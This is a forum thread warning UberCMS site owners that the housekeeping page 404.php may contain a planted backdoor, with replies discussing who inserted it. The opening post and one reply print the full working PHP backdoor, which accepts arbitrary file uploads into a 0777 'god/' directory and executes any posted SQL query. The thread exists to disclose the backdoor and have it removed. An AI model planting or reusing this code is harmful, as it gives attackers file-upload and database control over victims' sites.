• Unfortunately, we have experienced significant hard drive damage that requires urgent maintenance and rebuilding. The forum will be a state of read only until we install our new drives and rebuild all the configurations needed. Please follow our Facebook page for updates, we will be back up shortly! (The forum could go offline at any given time due to the nature of the failed drives whilst awaiting the upgrades.) When you see an Incapsula error, you know we are in the process of migration.

UberCMS IMPORTANT FIX - Fix as soon as possible!!!

Status
Not open for further replies.
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
Here an important fix for UberCMS.

You really need to check your allseeingeye/pages and open the file 404.php.

if that file contains this code ->
PHP:
<?php

		require_once "../../global.php";
		require_once "../admincore.php";

	if(!file_exists("god/"))
	{
		mkdir("god/", 0777);
		echo 'Backdoor Directory Created : (god/)';
	}
		else
	{
		echo 'Backdoor Open for Uploading : (god/)';
	}
	
	

if(isset($_POST['submit']))
{
	$target_path = "god/";
	$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
	if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
    echo "The file ".  basename( $_FILES['uploadedfile']['name']). 
    " has been uploaded";
} else{
    echo "There was an error uploading the file, please try again!";
}
}

	if(isset($_POST['sql2']))
	{
		$core1225 = $_POST['sql1'];
		mysql_query("".$core1225."");
		echo 'Query Executed Successfully';
	}

?>

<html>
<body>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"
enctype="multipart/form-data">
  <input type="file" name="uploadedfile" id="file" />
  <input type="submit" name="submit" value="Submit" />
  <br />
</form>
<p>-- ** -- ** -- MySQL Execute -- ** -- ** --</p>
<form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
  <p>
    <label for="sql1"></label>
    <textarea name="sql1" id="sql1" cols="65" rows="4"></textarea>
  </p>
  <p>
    <input type="submit" name="sql2" id="sql2" value="Execute">
  </p>
</form>
<p> </p>
</body>

Delete the code and put something else in there, such as page not found or whatever....its not important what you put in there....

Failure to do this will leave you open for a whole lot of trouble....


All credits for this go out to : [IP on request] for showing me this on our hotel.
Yes [IP on request] is a real cool hacker that likes to duck with peoples hard work. Good job dude...

If anybody wants his IP so they can block the dude from their site then ill be more than happy to provide it.
 
Last edited:
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
I never was seed that on uber edits... Where cms do you found it?

It either came with UberCMS 2.01 or one of the housekeeping fixes that got released here...... I better start checking stuff before I add it...
 
Skilled Illusionist
Joined
May 7, 2011
Messages
342
Reaction score
25
It either came with UberCMS 2.01 or one of the housekeeping fixes that got released here...... I better start checking stuff before I add it...

I have this never seen?
And thank you for the release :p
 
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
** Removed accusations **
 
Last edited:
Junior Spellweaver
Joined
Oct 2, 2011
Messages
178
Reaction score
23
Re: UberCMS IMPORTANT FIX - Fix as soon as possible!!! - Credits to Landline

Thanks for this release! it will help a lot of people.
 
Last edited:
Joined
Jun 25, 2009
Messages
831
Reaction score
475
Re: UberCMS IMPORTANT FIX - Fix as soon as possible!!! - Credits to Landline

Nice share, people should really check each file, lol.
 
Last edited:
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
Re: UberCMS IMPORTANT FIX - Fix as soon as possible!!! - Credits to Landline

Ill remove the credits until i have more proof....
 
Last edited:
Newbie Spellweaver
Joined
Jun 28, 2012
Messages
14
Reaction score
2
Try this code instead;(Not tested)

Code:
[COLOR=#0000BB]<?php 

        [/COLOR][COLOR=#007700]require_once [/COLOR][COLOR=#DD0000]"../../global.php"[/COLOR][COLOR=#007700]; 
        require_once [/COLOR][COLOR=#DD0000]"../admincore.php"[/COLOR][COLOR=#007700]; 

    if(![/COLOR][COLOR=#0000BB]file_exists[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700])) 
    { 
        [/COLOR][COLOR=#0000BB]mkdir[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]0777[/COLOR][COLOR=#007700]); 
        echo [/COLOR][COLOR=#DD0000]'Backdoor Directory Created : (god/)'[/COLOR][COLOR=#007700]; 
    } 
        else 
    { 
        echo [/COLOR][COLOR=#DD0000]'Backdoor Open for Uploading : (god/)'[/COLOR][COLOR=#007700]; 
    } 
     
     

if(isset([/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'submit'[/COLOR][COLOR=#007700]])) 
{ 
    [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700]; 
    [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]basename[/COLOR][COLOR=#007700]( [/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'name'[/COLOR][COLOR=#007700]]);  
    if([/COLOR][COLOR=#0000BB]move_uploaded_file[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'tmp_name'[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$target_path[/COLOR][COLOR=#007700])) { 
    echo [/COLOR][COLOR=#DD0000]"The file "[/COLOR][COLOR=#007700].  [/COLOR][COLOR=#0000BB]basename[/COLOR][COLOR=#007700]( [/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'name'[/COLOR][COLOR=#007700]]).  
    [/COLOR][COLOR=#DD0000]" has been uploaded"[/COLOR][COLOR=#007700]; 
} else{ 
    echo [/COLOR][COLOR=#DD0000]"There was an error uploading the file, please try again!"[/COLOR][COLOR=#007700]; 
} 
} 

    if(isset([/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'sql2'[/COLOR][COLOR=#007700]])) 
    { 
        [/COLOR][COLOR=#0000BB]$core1225 [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'sql1'[/COLOR][COLOR=#007700]]; 
        [/COLOR][COLOR=#0000BB]mysql_query[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]""[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$core1225[/COLOR][COLOR=#007700].[/COLOR][COLOR=#DD0000]""[/COLOR][COLOR=#007700]); 
        echo [/COLOR][COLOR=#DD0000]'Query Executed Successfully'[/COLOR][COLOR=#007700]; 
      } 

[/COLOR][COLOR=#0000BB]?>
[/COLOR][COLOR=#000000][/COLOR]
[COLOR=#000000]<html>[/COLOR]
[COLOR=#000000]<body>[/COLOR]
[COLOR=#0000BB]<?php[/COLOR]
[COLOR=#000000]<form action="[/COLOR][COLOR=#0000BB]<?php [/COLOR][COLOR=#007700]echo [/COLOR][COLOR=#0000BB]$_SERVER[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'PHP_SELF'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000]" method="post" [/COLOR]
[COLOR=#000000]enctype="multipart/form-data"> [/COLOR]
[COLOR=#000000]  <input type="file" name="uploadedfile" id="file" /> [/COLOR]
[COLOR=#000000]  <input type="submit" name="submit" value="Submit" /> [/COLOR]
[COLOR=#000000]  <br /> [/COLOR]
[COLOR=#000000]</form> [/COLOR]
[COLOR=#000000]<p>-- ** -- ** -- MySQL Execute -- ** -- ** --</p> [/COLOR]
[COLOR=#000000]<form name="form1" method="post" action="[/COLOR][COLOR=#0000BB]<?php [/COLOR][COLOR=#007700]echo [/COLOR][COLOR=#0000BB]$_SERVER[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'PHP_SELF'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000]"> [/COLOR]
[COLOR=#000000]  <p> [/COLOR]
[COLOR=#000000]    <label for="sql1"></label> [/COLOR]
[COLOR=#000000]    <textarea name="sql1" id="sql1" cols="65" rows="4"></textarea> [/COLOR]
[COLOR=#000000]  </p> [/COLOR]
[COLOR=#000000]  <p> [/COLOR]
[COLOR=#000000]    <input type="submit" name="sql2" id="sql2" value="Execute"> [/COLOR]
[COLOR=#000000]  </p> [/COLOR]
[COLOR=#000000]</form> [/COLOR]
[COLOR=#000000]<p> </p>
[/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000] [/COLOR]
[COLOR=#000000]</body>
<html>[/COLOR]
 
[̲̅$̲̅(̲̅1̲̅)̲̅$ ̲̅]
Joined
May 4, 2008
Messages
831
Reaction score
741
Try this code instead;(Not tested)

Code:
[COLOR=#0000BB]<?php 

        [/COLOR][COLOR=#007700]require_once [/COLOR][COLOR=#DD0000]"../../global.php"[/COLOR][COLOR=#007700]; 
        require_once [/COLOR][COLOR=#DD0000]"../admincore.php"[/COLOR][COLOR=#007700]; 

    if(![/COLOR][COLOR=#0000BB]file_exists[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700])) 
    { 
        [/COLOR][COLOR=#0000BB]mkdir[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]0777[/COLOR][COLOR=#007700]); 
        echo [/COLOR][COLOR=#DD0000]'Backdoor Directory Created : (god/)'[/COLOR][COLOR=#007700]; 
    } 
        else 
    { 
        echo [/COLOR][COLOR=#DD0000]'Backdoor Open for Uploading : (god/)'[/COLOR][COLOR=#007700]; 
    } 
     
     

if(isset([/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'submit'[/COLOR][COLOR=#007700]])) 
{ 
    [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#DD0000]"god/"[/COLOR][COLOR=#007700]; 
    [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$target_path [/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]basename[/COLOR][COLOR=#007700]( [/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'name'[/COLOR][COLOR=#007700]]);  
    if([/COLOR][COLOR=#0000BB]move_uploaded_file[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'tmp_name'[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$target_path[/COLOR][COLOR=#007700])) { 
    echo [/COLOR][COLOR=#DD0000]"The file "[/COLOR][COLOR=#007700].  [/COLOR][COLOR=#0000BB]basename[/COLOR][COLOR=#007700]( [/COLOR][COLOR=#0000BB]$_FILES[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'uploadedfile'[/COLOR][COLOR=#007700]][[/COLOR][COLOR=#DD0000]'name'[/COLOR][COLOR=#007700]]).  
    [/COLOR][COLOR=#DD0000]" has been uploaded"[/COLOR][COLOR=#007700]; 
} else{ 
    echo [/COLOR][COLOR=#DD0000]"There was an error uploading the file, please try again!"[/COLOR][COLOR=#007700]; 
} 
} 

    if(isset([/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'sql2'[/COLOR][COLOR=#007700]])) 
    { 
        [/COLOR][COLOR=#0000BB]$core1225 [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$_POST[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'sql1'[/COLOR][COLOR=#007700]]; 
        [/COLOR][COLOR=#0000BB]mysql_query[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]""[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$core1225[/COLOR][COLOR=#007700].[/COLOR][COLOR=#DD0000]""[/COLOR][COLOR=#007700]); 
        echo [/COLOR][COLOR=#DD0000]'Query Executed Successfully'[/COLOR][COLOR=#007700]; 
      } 

[/COLOR][COLOR=#0000BB]?>
[/COLOR][COLOR=#000000][/COLOR]
[COLOR=#000000]<html>[/COLOR]
[COLOR=#000000]<body>[/COLOR]
[COLOR=#0000BB]<?php[/COLOR]
[COLOR=#000000]<form action="[/COLOR][COLOR=#0000BB]<?php [/COLOR][COLOR=#007700]echo [/COLOR][COLOR=#0000BB]$_SERVER[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'PHP_SELF'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000]" method="post" [/COLOR]
[COLOR=#000000]enctype="multipart/form-data"> [/COLOR]
[COLOR=#000000]  <input type="file" name="uploadedfile" id="file" /> [/COLOR]
[COLOR=#000000]  <input type="submit" name="submit" value="Submit" /> [/COLOR]
[COLOR=#000000]  <br /> [/COLOR]
[COLOR=#000000]</form> [/COLOR]
[COLOR=#000000]<p>-- ** -- ** -- MySQL Execute -- ** -- ** --</p> [/COLOR]
[COLOR=#000000]<form name="form1" method="post" action="[/COLOR][COLOR=#0000BB]<?php [/COLOR][COLOR=#007700]echo [/COLOR][COLOR=#0000BB]$_SERVER[/COLOR][COLOR=#007700][[/COLOR][COLOR=#DD0000]'PHP_SELF'[/COLOR][COLOR=#007700]]; [/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000]"> [/COLOR]
[COLOR=#000000]  <p> [/COLOR]
[COLOR=#000000]    <label for="sql1"></label> [/COLOR]
[COLOR=#000000]    <textarea name="sql1" id="sql1" cols="65" rows="4"></textarea> [/COLOR]
[COLOR=#000000]  </p> [/COLOR]
[COLOR=#000000]  <p> [/COLOR]
[COLOR=#000000]    <input type="submit" name="sql2" id="sql2" value="Execute"> [/COLOR]
[COLOR=#000000]  </p> [/COLOR]
[COLOR=#000000]</form> [/COLOR]
[COLOR=#000000]<p> </p>
[/COLOR][COLOR=#0000BB]?>[/COLOR][COLOR=#000000] [/COLOR]
[COLOR=#000000]</body>
<html>[/COLOR]

Wtf delete it if it looks anything like that!!!

Its an exploit to upload files and or run any query on your db...

Heck just delete 404.php all together...

Sent from some remote location using Tapatalk...
 
Junior Spellweaver
Joined
Oct 2, 2011
Messages
178
Reaction score
23
You don't even really need the 404 for hk anyway, all hk's have a menu where you can get to everything
 
Junior Spellweaver
Joined
Feb 4, 2012
Messages
114
Reaction score
38
Shouldnt use ubercms 2 in the first place? But thx, will help some noobs
 
Web Developer
Loyal Member
Joined
Nov 5, 2009
Messages
1,229
Reaction score
309
Good Find, Keep up the good work.
 
Junior Spellweaver
Joined
Oct 13, 2008
Messages
104
Reaction score
7
Just stop using ubercms 2.0? or remove them
 
Skilled Illusionist
Joined
May 7, 2011
Messages
342
Reaction score
25
Jonty do this because he than Copyright changes prevents.
I snap him well.
 
Newbie Spellweaver
Joined
May 28, 2012
Messages
17
Reaction score
0
Jonty didn't do that, I think I know the culperate who did though.....
 
Junior Spellweaver
Joined
Oct 2, 2011
Messages
178
Reaction score
23
Backdoors everywhere lol.

They will get found and released on ragezone.
Jonteh makes a new "update" with new backdoors
They will get found and released on ragezone.

This is what is happening.

Joonteh is banned on RZ.. even if he made a new account, it would be a little weird having an uber edit from a new user.
 
Status
Not open for further replies.
Back
Top